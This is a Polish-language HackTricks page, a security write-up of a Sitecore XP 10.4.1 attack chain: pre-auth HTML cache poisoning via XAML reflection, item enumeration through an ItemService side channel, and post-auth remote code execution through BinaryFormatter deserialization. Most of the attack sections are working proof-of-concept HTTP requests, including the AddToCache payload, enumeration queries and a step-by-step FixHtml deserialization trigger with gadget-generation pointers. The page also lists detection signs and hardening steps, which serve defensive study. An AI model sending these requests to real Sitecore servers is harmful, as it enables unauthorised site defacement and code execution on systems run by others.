Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ta strona podsumowuje praktyczny łańcuch ataku przeciwko Sitecore XP 10.4.1, który przechodzi od pre‑auth XAML handler do HTML cache poisoning i, poprzez authenticated UI flow, do RCE za pomocą BinaryFormatter deserialization. Techniki te uogólniają się na podobne wersje/komponenty Sitecore i dostarczają konkretne prymitywy do testowania, wykrywania i zabezpieczania.

  • Testowany produkt: Sitecore XP 10.4.1 rev. 011628
  • Naprawione w: KB1003667, KB1003734 (czerwiec/lipiec 2025)

Zobacz także:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

Punkt wejścia to pre‑auth XAML handler zarejestrowany w web.config:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Dostępne przez:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

Drzewo kontrolek zawiera AjaxScriptManager, który przy żądaniach zdarzeń odczytuje pola kontrolowane przez atakującego i przy użyciu refleksji wywołuje metody na docelowych kontrolkach:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Kluczowa obserwacja: strona XAML zawiera instancję XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dziedziczy po Sitecore.Web.UI.WebControl (klasie Sitecore), która przepuszcza ReflectionUtil.Filter allow‑list (Sitecore.*), odblokowując metody na Sitecore WebControl.

Magiczna metoda do poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Ponieważ możemy targetować xmlcontrol:GlobalHeader i wywoływać metody Sitecore.Web.UI.WebControl po nazwie, uzyskujemy pre‑auth prymityw pozwalający na dowolny zapis do HtmlCache.

Prośba o PoC (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Notatki:

  • __SOURCE jest clientID xmlcontrol:GlobalHeader w ramach Sitecore.Shell.Xaml.WebControl (zwykle stabilny, np. ctl00_ctl00_ctl05_ctl03, ponieważ jest wyprowadzony ze statycznego XAML).
  • __PARAMETERS ma format Method("arg1","arg2").

Co zatruć: konstrukcja klucza Cache

Typowa konstrukcja klucza HtmlCache używana przez kontrolki Sitecore:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Przykład targeted poisoning dla znanego sublayoutu:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Wyliczanie elementów cache'owalnych i wymiarów “vary by”

Jeśli ItemService jest (błędnie) wystawiony anonimowo, możesz wyliczyć komponenty cache'owalne, aby uzyskać dokładne klucze.

Szybkie sprawdzenie:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Wypisz elementy możliwe do cache'owania i flagi:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Szukaj pól takich jak Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Nazwy urządzeń można wyliczyć za pomocą:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

Nawet gdy ItemService podszywa się pod ograniczone konto (np. ServicesAPI) i zwraca pustą tablicę Results, TotalCount może nadal odzwierciedlać pre‑ACL trafienia w Solr. Możesz brute‑force item groups/ids przy użyciu wildcards i obserwować, jak TotalCount zbiega się, aby zmapować wewnętrzną zawartość i urządzenia:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink w convertToRuntimeHtml (CVE-2025-53691)

Miejsce wykorzystania:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Dostępne za pośrednictwem kroku pipeline convertToRuntimeHtml o nazwie ConvertWebControls, który szuka elementu o id {iframeId}_inner, base64 decodes + deserializes jego zawartość, a następnie wstrzykuje powstały string do HTML:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Wyzwalacz (uwierzytelniony, prawa Content Editor). Okno dialogowe FixHtml wywołuje convertToRuntimeHtml. End‑to‑end bez kliknięć w UI:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Generowanie gadgetu: użyj ysoserial.net / YSoNet z BinaryFormatter, aby wygenerować base64 payload zwracający string. Zawartość tego stringa jest zapisywana do HTML przez ConvertWebControls po wykonaniu efektów ubocznych deserializacji.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Pełny łańcuch

  1. Pre‑auth attacker zatruwa HtmlCache dowolnym HTML, wywołując refleksyjnie WebControl.AddToCache przez XAML AjaxScriptManager.
  2. Zatruty HTML serwuje JavaScript, który nakłania uwierzytelnionego użytkownika Content Editor do przejścia przez flow FixHtml.
  3. Strona FixHtml uruchamia convertToRuntimeHtml → ConvertWebControls, które deserializuje kontrolowane przez atakującego base64 za pomocą BinaryFormatter → RCE pod tożsamością puli aplikacji Sitecore.

Wykrywanie

  • Pre‑auth XAML: żądania do /-/xaml/Sitecore.Shell.Xaml.WebControl z __ISEVENT=1, podejrzane __SOURCE oraz __PARAMETERS=AddToCache(...).
  • ItemService probing: skoki zapytań wildcard do /sitecore/api/ssc, duże TotalCount przy pustych Results.
  • Próby deserializacji: EditHtml.aspx a następnie FixHtml.aspx?hdl=... oraz nietypowo duże base64 w polach HTML.

Utwardzanie

  • Zastosuj poprawki Sitecore KB1003667 i KB1003734; zablokuj/wyłącz pre‑auth XAML handlers lub dodaj rygorystyczną walidację; monitoruj i ograniczaj liczbę żądań do /-/xaml/.
  • Usuń/zastąp BinaryFormatter; ogranicz dostęp do convertToRuntimeHtml lub wymuś silną walidację po stronie serwera w przepływach edycji HTML.
  • Zablokuj /sitecore/api/ssc do loopback lub autoryzowanych ról; unikaj wzorców impersonation, które tworzą kanały boczne oparte na TotalCount.
  • Wymuś MFA/zasadę najmniejszych uprawnień dla użytkowników Content Editor; przejrzyj CSP, aby zmniejszyć wpływ JS steering wynikający z cache poisoning.

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks